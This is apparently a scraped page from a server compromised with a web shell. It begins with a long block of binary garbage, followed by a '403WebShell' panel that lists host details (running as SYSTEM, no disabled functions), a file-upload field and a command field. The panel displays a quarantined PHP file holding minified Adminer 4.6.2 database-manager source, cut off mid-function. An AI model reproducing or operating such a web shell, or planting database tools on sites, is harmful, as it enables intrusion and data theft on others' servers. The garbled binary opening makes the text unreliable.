�a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0    !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1��� ��]�[��)�'������ :�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3     !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k�� 403WebShell
403Webshell
Server IP : 127.0.0.1  /  Your IP : 10.100.1.254
Web Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
System : Windows NT WIZC-EXTRANET 10.0 build 19045 (Windows 10) AMD64
User : SYSTEM ( 0)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /webshell_quarantine/20250505/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /webshell_quarantine/20250505/prodlistD.php
<?php
/** Adminer - Compact database management
* @link https://www.adminer.org/
* @author Jakub Vrana, https://www.vrana.cz/
* @copyright 2007 Jakub Vrana
* @license https://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0
* @license https://www.gnu.org/licenses/gpl-2.0.html GNU General Public License, version 2 (one or other)
* @version 4.6.2
*/error_reporting(6135);$Vc=!preg_match('~^(unsafe_raw)?$~',ini_get("filter.default"));if($Vc||ini_get("filter.default_flags")){foreach(array('_GET','_POST','_COOKIE','_SERVER')as$X){$_i=filter_input_array(constant("INPUT$X"),FILTER_UNSAFE_RAW);if($_i)$$X=$_i;}}if(function_exists("mb_internal_encoding"))mb_internal_encoding("8bit");function
connection(){global$g;return$g;}function
adminer(){global$b;return$b;}function
version(){global$ia;return$ia;}function
idf_unescape($v){$je=substr($v,-1);return
str_replace($je.$je,$je,substr($v,1,-1));}function
escape_string($X){return
substr(q($X),1,-1);}function
number($X){return
preg_replace('~[^0-9]+~','',$X);}function
number_type(){return'((?<!o)int(?!er)|numeric|real|float|double|decimal|money)';}function
remove_slashes($jg,$Vc=false){if(get_magic_quotes_gpc()){while(list($z,$X)=each($jg)){foreach($X
as$Yd=>$W){unset($jg[$z][$Yd]);if(is_array($W)){$jg[$z][stripslashes($Yd)]=$W;$jg[]=&$jg[$z][stripslashes($Yd)];}else$jg[$z][stripslashes($Yd)]=($Vc?$W:stripslashes($W));}}}}function
bracket_escape($v,$Oa=false){static$ki=array(':'=>':1',']'=>':2','['=>':3','"'=>':4');return
strtr($v,($Oa?array_flip($ki):$ki));}function
min_version($Qi,$xe="",$h=null){global$g;if(!$h)$h=$g;$eh=$h->server_info;if($xe&&preg_match('~([\d.]+)-MariaDB~',$eh,$C)){$eh=$C[1];$Qi=$xe;}return(version_compare($eh,$Qi)>=0);}function
charset($g){return(min_version("5.5.3",0,$g)?"utf8mb4":"utf8");}function
script($nh,$ji="\n"){return"<script".nonce().">$nh</script>$ji";}function
script_src($Ei){return"<script src='".h($Ei)."'".nonce()."></script>\n";}function
nonce(){return' nonce="'.get_nonce().'"';}function
target_blank(){return' target="_blank" rel="noreferrer noopener"';}function
h($Q){return
str_replace("\0","&#0;",htmlspecialchars($Q,ENT_QUOTES,'utf-8'));}function
nbsp($Q){return(trim($Q)!=""?h($Q):"&nbsp;");}function
nl_br($Q){return
str_replace("\n","<br>",$Q);}function
checkbox($D,$Y,$fb,$fe="",$lf="",$kb="",$ge=""){$J="<input type='checkbox' name='$D' value='".h($Y)."'".($fb?" checked":"").($ge?" aria-labelledby='$ge'":"").">".($lf?script("qsl('input').onclick = function () { $lf };",""):"");return($fe!=""||$kb?"<label".($kb?" class='$kb'":"").">$J".h($fe)."</label>":$J);}function
optionlist($rf,$Yg=null,$Ii=false){$J="";foreach($rf
as$Yd=>$W){$sf=array($Yd=>$W);if(is_array($W)){$J.='<optgroup label="'.h($Yd).'">';$sf=$W;}foreach($sf
as$z=>$X)$J.='<option'.($Ii||is_string($z)?' value="'.h($z).'"':'').(($Ii||is_string($z)?(string)$z:$X)===$Yg?' selected':'').'>'.h($X);if(is_array($W))$J.='</optgroup>';}return$J;}function
html_select($D,$rf,$Y="",$kf=true,$ge=""){if($kf)return"<select name='".h($D)."'".($ge?" aria-labelledby='$ge'":"").">".optionlist($rf,$Y)."</select>".(is_string($kf)?script("qsl('select').onchange = function () { $kf };",""):"");$J="";foreach($rf
as$z=>$X)$J.="<label><input type='radio' name='".h($D)."' value='".h($z)."'".($z==$Y?" checked":"").">".h($X)."</label>";return$J;}function
select_input($Ka,$rf,$Y="",$kf="",$Vf=""){$Oh=($rf?"select":"input");return"<$Oh$Ka".($rf?"><option value=''>$Vf".optionlist($rf,$Y,true)."</select>":" size='10' value='".h($Y)."' placeholder='$Vf'>").($kf?script("qsl('$Oh').onchange = $kf;",""):"");}function
confirm($Ge="",$Zg="qsl('input')"){return
script("$Zg.onclick = function () { return confirm('".($Ge?js_escape($Ge):lang(0))."'); };","");}function
print_fieldset($u,$oe,$Ti=false){echo"<fieldset><legend>","<a href='#fieldset-$u'>$oe</a>",script("qsl('a').onclick = partial(toggle, 'fieldset-$u');",""),"</legend>","<div id='fieldset-$u'".($Ti?"":" class='hidden'").">\n";}function
bold($Wa,$kb=""){return($Wa?" class='active $kb'":($kb?" class='$kb'":""));}function
odd($J=' class="odd"'){static$t=0;if(!$J)$t=-1;return($t++%2?$J:'');}function
js_escape($Q){return
addcslashes($Q,"\r\n'\\/");}function
json_row($z,$X=null){static$Wc=true;if($Wc)echo"{";if($z!=""){echo($Wc?"":",")."\n\t\"".addcslashes($z,"\r\n\t\"\\/").'": '.($X!==null?'"'.addcslashes($X,"\r\n\"\\/").'"':'null');$Wc=false;}else{echo"\n}\n";$Wc=true;}}function
ini_bool($Ld){$X=ini_get($Ld);return(preg_match('~^(on|true|yes)$~i',$X)||(int)$X);}function
sid(){static$J;if($J===null)$J=(SID&&!($_COOKIE&&ini_bool("session.use_cookies")));return$J;}function
set_password($Pi,$O,$V,$G){$_SESSION["pwds"][$Pi][$O][$V]=($_COOKIE["adminer_key"]&&is_string($G)?array(encrypt_string($G,$_COOKIE["adminer_key"])):$G);}function
get_password(){$J=get_session("pwds");if(is_array($J))$J=($_COOKIE["adminer_key"]?decrypt_string($J[0],$_COOKIE["adminer_key"]):false);return$J;}function
q($Q){global$g;return$g->quote($Q);}function
get_vals($H,$d=0){global$g;$J=array();$I=$g->query($H);if(is_object($I)){while($K=$I->fetch_row())$J[]=$K[$d];}return$J;}function
get_key_vals($H,$h=null,$Xh=0,$hh=true){global$g;if(!is_object($h))$h=$g;$J=array();$h->timeout=$Xh;$I=$h->query($H);$h->timeout=0;if(is_object($I)){while($K=$I->fetch_row()){if($hh)$J[$K[0]]=$K[1];else$J[]=$K[0];}}return$J;}function
get_rows($H,$h=null,$o="<p class='error'>"){global$g;$yb=(is_object($h)?$h:$g);$J=array();$I=$yb->query($H);if(is_object($I)){while($K=$I->fetch_assoc())$J[]=$K;}elseif(!$I&&!is_object($h)&&$o&&defined("PAGE_HEADER"))echo$o.error()."\n";return$J;}function
unique_array($K,$x){foreach($x
as$w){if(preg_match("~PRIMARY|UNIQUE~",$w["type"])){$J=array();foreach($w["columns"]as$z){if(!isset($K[$z]))continue
2;$J[$z]=$K[$z];}return$J;}}}function
escape_key($z){if(preg_match('(^([\w(]+)('.str_replace("_",".*",preg_quote(idf_escape("_"))).')([ \w)]+)$)',$z,$C))return$C[1].idf_escape(idf_unescape($C[2])).$C[3];return
idf_escape($z);}function
where($Z,$q=array()){global$g,$y;$J=array();foreach((array)$Z["where"]as$z=>$X){$z=bracket_escape($z,1);$d=escape_key($z);$J[]=$d.($y=="sql"&&preg_match('~^[0-9]*\\.[0-9]*$~',$X)?" LIKE ".q(addcslashes($X,"%_\\")):($y=="mssql"?" LIKE ".q(preg_replace('~[_%[]~','[\0]',$X)):" = ".unconvert_field($q[$z],q($X))));if($y=="sql"&&preg_match('~char|text~',$q[$z]["type"])&&preg_match("~[^ -@]~",$X))$J[]="$d = ".q($X)." COLLATE ".charset($g)."_bin";}foreach((array)$Z["null"]as$z)$J[]=escape_key($z)." IS NULL";return
implode(" AND ",$J);}function
where_check($X,$q=array()){parse_str($X,$db);remove_slashes(array(&$db));return
where($db,$q);}function
where_link($t,$d,$Y,$nf="="){return"&where%5B$t%5D%5Bcol%5D=".urlencode($d)."&where%5B$t%5D%5Bop%5D=".urlencode(($Y!==null?$nf:"IS NULL"))."&where%5B$t%5D%5Bval%5D=".urlencode($Y);}function
convert_fields($e,$q,$M=array()){$J="";foreach($e
as$z=>$X){if($M&&!in_array(idf_escape($z),$M))continue;$Ha=convert_field($q[$z]);if($Ha)$J.=", $Ha AS ".idf_escape($z);}return$J;}function
cookie($D,$Y,$re=2592000){global$ba;return
header("Set-Cookie: $D=".urlencode($Y).($re?"; expires=".gmdate("D, d M Y H:i:s",time()+$re)." GMT":"")."; path=".preg_replace('~\\?.*~','',$_SERVER["REQUEST_URI"]).($ba?"; secure":"")."; HttpOnly; SameSite=lax",false);}function
restart_session(){if(!ini_bool("session.use_cookies"))session_start();}function
stop_session(){if(!ini_bool("session.use_cookies"))session_write_close();}function&get_session($z){return$_SESSION[$z][DRIVER][SERVER][$_GET["username"]];}function
set_session($z,$X){$_SESSION[$z][DRIVER][SERVER][$_GET["username"]]=$X;}function
auth_url($Pi,$O,$V,$m=null){global$ec;preg_match('~([^?]*)\\??(.*)~',remove_from_uri(implode("|",array_keys($ec))."|username|".($m!==null?"db|":"").session_name()),$C);return"$C[1]?".(sid()?SID."&":"").($Pi!="server"||$O!=""?urlencode($Pi)."=".urlencode($O)."&":"")."username=".urlencode($V).($m!=""?"&db=".urlencode($m):"").($C[2]?"&$C[2]":"");}function
is_ajax(){return($_SERVER["HTTP_X_REQUESTED_WITH"]=="XMLHttpRequest");}function
redirect($B,$Ge=null){if($Ge!==null){restart_session();$_SESSION["messages"][preg_replace('~^[^?]*~','',($B!==null?$B:$_SERVER["REQUEST_URI"]))][]=$Ge;}if($B!==null){if($B=="")$B=".";header("Location: $B");exit;}}function
query_redirect($H,$B,$Ge,$vg=true,$Cc=true,$Nc=false,$Wh=""){global$g,$o,$b;if($Cc){$vh=microtime(true);$Nc=!$g->query($H);$Wh=format_time($vh);}$qh="";if($H)$qh=$b->messageQuery($H,$Wh,$Nc);if($Nc){$o=error().$qh.script("messagesPrint();");return
false;}if($vg)redirect($B,$Ge.$qh);return
true;}function
queries($H){global$g;static$og=array();static$vh;if(!$vh)$vh=microtime(true);if($H===null)return
array(implode("\n",$og),format_time($vh));$og[]=(preg_match('~;$~',$H)?"DELIMITER ;;\n$H;\nDELIMITER ":$H).";";return$g->query($H);}function
apply_queries($H,$T,$zc='table'){foreach($T
as$R){if(!queries("$H ".$zc($R)))return
false;}return
true;}function
queries_redirect($B,$Ge,$vg){list($og,$Wh)=queries(null);return
query_redirect($og,$B,$Ge,$vg,false,!$vg,$Wh);}function
format_time($vh){return
lang(1,max(0,microtime(true)-$vh));}function
remove_from_uri($Gf=""){return
substr(preg_replace("~(?<=[?&])($Gf".(SID?"":"|".session_name()).")=[^&]*&~",'',"$_SERVER[REQUEST_URI]&"),0,-1);}function
pagination($F,$Jb){return" ".($F==$Jb?$F+1:'<a href="'.h(remove_from_uri("page").($F?"&page=$F".($_GET["next"]?"&next=".urlencode($_GET["next"]):""):"")).'">'.($F+1)."</a>");}function
get_file($z,$Rb=false){$Tc=$_FILES[$z];if(!$Tc)return
null;foreach($Tc
as$z=>$X)$Tc[$z]=(array)$X;$J='';foreach($Tc["error"]as$z=>$o){if($o)return$o;$D=$Tc["name"][$z];$ei=$Tc["tmp_name"][$z];$_b=file_get_contents($Rb&&preg_match('~\\.gz$~',$D)?"compress.zlib://$ei":$ei);if($Rb){$vh=substr($_b,0,3);if(function_exists("iconv")&&preg_match("~^\xFE\xFF|^\xFF\xFE~",$vh,$Ag))$_b=iconv("utf-16","utf-8",$_b);elseif($vh=="\xEF\xBB\xBF")$_b=substr($_b,3);$J.=$_b."\n\n";}else$J.=$_b;}return$J;}function
upload_error($o){$De=($o==UPLOAD_ERR_INI_SIZE?ini_get("upload_max_filesize"):0);return($o?lang(2).($De?" ".lang(3,$De):""):lang(4));}function
repeat_pattern($Tf,$pe){return
str_repeat("$Tf{0,65535}",$pe/65535)."$Tf{0,".($pe%65535)."}";}function
is_utf8($X){return(preg_match('~~u',$X)&&!preg_match('~[\\0-\\x8\\xB\\xC\\xE-\\x1F]~',$X));}function
shorten_utf8($Q,$pe=80,$Ch=""){if(!preg_match("(^(".repeat_pattern("[\t\r\n -\x{10FFFF}]",$pe).")($)?)u",$Q,$C))preg_match("(^(".repeat_pattern("[\t\r\n -~]",$pe).")($)?)",$Q,$C);return
h($C[1]).$Ch.(isset($C[2])?"":"<i>...</i>");}function
format_number($X){return
strtr(number_format($X,0,".",lang(5)),preg_split('~~u',lang(6),-1,PREG_SPLIT_NO_EMPTY));}function
friendly_url($X){return
preg_replace('~[^a-z0-9_]~i','-',$X);}function
hidden_fields($jg,$Bd=array()){$J=false;while(list($z,$X)=each($jg)){if(!in_array($z,$Bd)){if(is_array($X)){foreach($X
as$Yd=>$W)$jg[$z."[$Yd]"]=$W;}else{$J=true;echo'<input type="hidden" name="'.h($z).'" value="'.h($X).'">';}}}return$J;}function
hidden_fields_get(){echo(sid()?'<input type="hidden" name="'.session_name().'" value="'.h(session_id()).'">':''),(SERVER!==null?'<input type="hidden" name="'.DRIVER.'" value="'.h(SERVER).'">':""),'<input type="hidden" name="username" value="'.h($_GET["username"]).'">';}function
table_status1($R,$Oc=false){$J=table_status($R,$Oc);return($J?$J:array("Name"=>$R));}function
column_foreign_keys($R){global$b;$J=array();foreach($b->foreignKeys($R)as$r){foreach($r["source"]as$X)$J[$X][]=$r;}return$J;}function
enum_input($U,$Ka,$p,$Y,$tc=null){global$b;preg_match_all("~'((?:[^']|'')*)'~",$p["length"],$ze);$J=($tc!==null?"<label><input type='$U'$Ka value='$tc'".((is_array($Y)?in_array($tc,$Y):$Y===0)?" checked":"")."><i>".lang(7)."</i></label>":"");foreach($ze[1]as$t=>$X){$X=stripcslashes(str_replace("''","'",$X));$fb=(is_int($Y)?$Y==$t+1:(is_array($Y)?in_array($t+1,$Y):$Y===$X));$J.=" <label><input type='$U'$Ka value='".($t+1)."'".($fb?' checked':'').'>'.h($b->editVal($X,$p)).'</label>';}return$J;}function
input($p,$Y,$s){global$vi,$b,$y;$D=h(bracket_escape($p["field"]));echo"<td class='function'>";if(is_array($Y)&&!$s){$Fa=array($Y);if(version_compare(PHP_VERSION,5.4)>=0)$Fa[]=JSON_PRETTY_PRINT;$Y=call_user_func_array('json_encode',$Fa);$s="json";}$Eg=($y=="mssql"&&$p["auto_increment"]);if($Eg&&!$_POST["save"])$s=null;$jd=(isset($_GET["select"])||$Eg?array("orig"=>lang(8)):array())+$b->editFunctions($p);$Ka=" name='fields[$D]'";if($p["type"]=="enum")echo
nbsp($jd[""])."<td>".$b->editInput($_GET["edit"],$p,$Ka,$Y);else{$sd=(in_array($s,$jd)||isset($jd[$s]));echo(count($jd)>1?"<select name='function[$D]'>".optionlist($jd,$s===null||$sd?$s:"")."</select>".on_help("getTarget(event).value.replace(/^SQL\$/, '')",1).script("qsl('select').onchange = functionChange;",""):nbsp(reset($jd))).'<td>';$Nd=$b->editInput($_GET["edit"],$p,$Ka,$Y);if($Nd!="")echo$Nd;elseif(preg_match('~bool~',$p["type"]))echo"<input type='hidden'$Ka value='0'>"."<input type='checkbox'".(preg_match('~^(1|t|true|y|yes|on)$~i',$Y)?" checked='checked'":"")."$Ka value='1'>";elseif($p["type"]=="set"){preg_match_all("~'((?:[^']|'')*)'~",$p["length"],$ze);foreach($ze[1]as$t=>$X){$X=stripcslashes(str_replace("''","'",$X));$fb=(is_int($Y)?($Y>>$t)&1:in_array($X,explode(",",$Y),true));echo" <label><input type='checkbox' name='fields[$D][$t]' value='".(1<<$t)."'".($fb?' checked':'').">".h($b->editVal($X,$p)).'</label>';}}elseif(preg_match('~blob|bytea|raw|file~',$p["type"])&&ini_bool("file_uploads"))echo"<input type='file' name='fields-$D'>";elseif(($Uh=preg_match('~text|lob~',$p["type"]))||preg_match("~\n~",$Y)){if($Uh&&$y!="sqlite")$Ka.=" cols='50' rows='12'";else{$L=min(12,substr_count($Y,"\n")+1);$Ka.=" cols='30' rows='$L'".($L==1?" style='height: 1.2em;'":"");}echo"<textarea$Ka>".h($Y).'</textarea>';}elseif($s=="json"||preg_match('~^jsonb?$~',$p["type"]))echo"<textarea$Ka cols='50' rows='12' class='jush-js'>".h($Y).'</textarea>';else{$Fe=(!preg_match('~int~',$p["type"])&&preg_match('~^(\\d+)(,(\\d+))?$~',$p["length"],$C)?((preg_match("~binary~",$p["type"])?2:1)*$C[1]+($C[3]?1:0)+($C[2]&&!$p["unsigned"]?1:0)):($vi[$p["type"]]?$vi[$p["type"]]+($p["unsigned"]?0:1):0));if($y=='sql'&&min_version(5.6)&&preg_match('~time~',$p["type"]))$Fe+=7;echo"<input".((!$sd||$s==="")&&preg_match('~(?<!o)int(?!er)~',$p["type"])&&!preg_match('~\[\]~',$p["full_type"])?" type='number'":"")." value='".h($Y)."'".($Fe?" data-maxlength='$Fe'":"").(preg_match('~char|binary~',$p["type"])&&$Fe>20?" size='40'":"")."$Ka>";}echo$b->editHint($_GET["edit"],$p,$Y);$Wc=0;foreach($jd
as$z=>$X){if($z===""||!$X)break;$Wc++;}if($Wc)echo
script("mixin(qsl('td'), {onchange: partial(skipOriginal, $Wc), oninput: function () { this.onchange(); }});");}}function
process_input($p){global$b,$n;$v=bracket_escape($p["field"]);$s=$_POST["function"][$v];$Y=$_POST["fields"][$v];if($p["type"]=="enum"){if($Y==-1)return
false;if($Y=="")return"NULL";return+$Y;}if($p["auto_increment"]&&$Y=="")return
null;if($s=="orig")return($p["on_update"]=="CURRENT_TIMESTAMP"?idf_escape($p["field"]):false);if($s=="NULL")return"NULL";if($p["type"]=="set")return
array_sum((array)$Y);if($s=="json"){$s="";$Y=json_decode($Y,true);if(!is_array($Y))return
false;return$Y;}if(preg_match('~blob|bytea|raw|file~',$p["type"])&&ini_bool("file_uploads")){$Tc=get_file("fields-$v");if(!is_string($Tc))return
false;return$n->quoteBinary($Tc);}return$b->processInput($p,$Y,$s);}function
fields_from_edit(){global$n;$J=array();foreach((array)$_POST["field_keys"]as$z=>$X){if($X!=""){$X=bracket_escape($X);$_POST["function"][$X]=$_POST["field_funs"][$z];$_POST["fields"][$X]=$_POST["field_vals"][$z];}}foreach((array)$_POST["fields"]as$z=>$X){$D=bracket_escape($z,1);$J[$D]=array("field"=>$D,"privileges"=>array("insert"=>1,"update"=>1),"null"=>1,"auto_increment"=>($z==$n->primary),);}return$J;}function
search_tables(){global$b,$g;$_GET["where"][0]["val"]=$_POST["query"];$bh="<ul>\n";foreach(table_status('',true)as$R=>$S){$D=$b->tableName($S);if(isset($S["Engine"])&&$D!=""&&(!$_POST["tables"]||in_array($R,$_POST["tables"]))){$I=$g->query("SELECT".limit("1 FROM ".table($R)," WHERE ".implode(" AND ",$b->selectSearchProcess(fields($R),array())),1));if(!$I||$I->fetch_row()){$fg="<a href='".h(ME."select=".urlencode($R)."&where[0][op]=".urlencode($_GET["where"][0]["op"])."&where[0][val]=".urlencode($_GET["where"][0]["val"]))."'>$D</a>";echo"$bh<li>".($I?$fg:"<p class='error'>$fg: ".error())."\n";$bh="";}}}echo($bh?"<p class='message'>".lang(9):"</ul>")."\n";}function
dump_headers($_d,$Pe=false){global$b;$J=$b->dumpHeaders($_d,$Pe);$Df=$_POST["output"];if($Df!="text")header("Content-Disposition: attachment; filename=".$b->dumpFilename($_d).".$J".($Df!="file"&&!preg_match('~[^0-9a-z]~',$Df)?".$Df":""));session_write_close();ob_flush();flush();return$J;}function
dump_csv($K){foreach($K
as$z=>$X){if(preg_match("~[\"\n,;\t]~",$X)||$X==="")$K[$z]='"'.str_replace('"','""',$X).'"';}echo
implode(($_POST["format"]=="csv"?",":($_POST["format"]=="tsv"?"\t":";")),$K)."\r\n";}function
apply_sql_function($s,$d){return($s?($s=="unixepoch"?"DATETIME($d, '$s')":($s=="count distinct"?"COUNT(DISTINCT ":strtoupper("$s("))."$d)"):$d);}function
get_temp_dir(){$J=ini_get("upload_tmp_dir");if(!$J){if(function_exists('sys_get_temp_dir'))$J=sys_get_temp_dir();else{$Uc=@tempnam("","");if(!$Uc)return
false;$J=dirname($Uc);unlink($Uc);}}return$J;}function
file_open_lock($Uc){$hd=@fopen($Uc,"r+");if(!$hd){$hd=@fopen($Uc,"w");if(!$hd)return;chmod($Uc,0660);}flock($hd,LOCK_EX);return$hd;}function
file_write_unlock($hd,$Lb){rewind($hd);fwrite($hd,$Lb);ftruncate($hd,strlen($Lb));flock($hd,LOCK_UN);fclose($hd);}function
password_file($i){$Uc=get_temp_dir()."/adminer.key";$J=@file_get_contents($Uc);if($J||!$i)return$J;$hd=@fopen($Uc,"w");if($hd){chmod($Uc,0660);$J=rand_string();fwrite($hd,$J);fclose($hd);}return$J;}function
rand_string(){return
md5(uniqid(mt_rand(),true));}function
select_value($X,$A,$p,$Vh){global$b;if(is_array($X)){$J="";foreach($X
as$Yd=>$W)$J.="<tr>".($X!=array_values($X)?"<th>".h($Yd):"")."<td>".select_value($W,$A,$p,$Vh);return"<table cellspacing='0'>$J</table>";}if(!$A)$A=$b->selectLink($X,$p);if($A===null){if(is_mail($X))$A="mailto:$X";if(is_url($X))$A=$X;}$J=$b->editVal($X,$p);if($J!==null){if($J==="")$J="&nbsp;";elseif(!is_utf8($J))$J="\0";elseif($Vh!=""&&is_shortable($p))$J=shorten_utf8($J,max(0,+$Vh));else$J=h($J);}return$b->selectVal($J,$A,$p,$X);}function
is_mail($qc){$Ia='[-a-z0-9!#$%&\'*+/=?^_`{|}~]';$dc='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';$Tf="$Ia+(\\.$Ia+)*@($dc?\\.)+$dc";return
is_string($qc)&&preg_match("(^$Tf(,\\s*$Tf)*\$)i",$qc);}function
is_url($Q){$dc='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';return
preg_match("~^(https?)://($dc?\\.)+$dc(:\\d+)?(/.*)?(\\?.*)?(#.*)?\$~i",$Q);}function
is_shortable($p){return
preg_match('~char|text|json|lob|geometry|point|linestring|polygon|string|bytea~',$p["type"]);}function
count_rows($R,$Z,$Td,$md){global$y;$H=" FROM ".table($R).($Z?" WHERE ".implode(" AND ",$Z):"");return($Td&&($y=="sql"||count($md)==1)?"SELECT COUNT(DISTINCT ".implode(", ",$md).")$H":"SELECT COUNT(*)".($Td?" FROM (SELECT 1$H GROUP BY ".implode(", ",$md).") x":$H));}function
slow_query($H){global$b,$gi;$m=$b->database();$Xh=$b->queryTimeout();if(support("kill")&&is_object($h=connect())&&($m==""||$h->select_db($m))){$de=$h->result(connection_id());echo'<script',nonce(),'>
var timeout = setTimeout(function () {
	ajax(\'',js_escape(ME),'script=kill\', function () {
	}, \'kill=',$de,'&token=',$gi,'\');
}, ',1000*$Xh,');
</script>
';}else$h=null;ob_flush();flush();$J=@get_key_vals($H,$h,$Xh,false);if($h){echo
script("clearTimeout(timeout);");ob_flush();flush();}return$J;}function
get_token(){$rg=rand(1,1e6);return($rg^$_SESSION["token"]).":$rg";}function
verify_token(){list($gi,$rg)=explode(":",$_POST["token"]);return($rg^$_SESSION["token"])==$gi;}function
lzw_decompress($Sa){$Zb=256;$Ta=8;$mb=array();$Gg=0;$Hg=0;for($t=0;$t<strlen($Sa);$t++){$Gg=($Gg<<8)+ord($Sa[$t]);$Hg+=8;if($Hg>=$Ta){$Hg-=$Ta;$mb[]=$Gg>>$Hg;$Gg&=(1<<$Hg)-1;$Zb++;if($Zb>>$Ta)$Ta++;}}$Yb=range("\0","\xFF");$J="";foreach($mb
as$t=>$lb){$pc=$Yb[$lb];if(!isset($pc))$pc=$ej.$ej[0];$J.=$pc;if($t)$Yb[]=$ej.$pc[0];$ej=$pc;}return$J;}function
on_help($tb,$ih=0){return
script("mixin(qsl('select, input'), {onmouseover: function (event) { helpMouseover.call(this, event, $tb, $ih) }, onmouseout: helpMouseout});","");}function
edit_form($a,$q,$K,$Ci){global$b,$y,$gi,$o;$Hh=$b->tableName(table_status1($a,true));page_header(($Ci?lang(10):lang(11)),$o,array("select"=>array($a,$Hh)),$Hh);if($K===false)echo"<p class='error'>".lang(12)."\n";echo'<form action="" method="post" enctype="multipart/form-data" id="form">
';if(!$q)echo"<p class='error'>".lang(13)."\n";else{echo"<table cellspacing='0'>".script("qsl('table').onkeydown = editingKeydown;");foreach($q
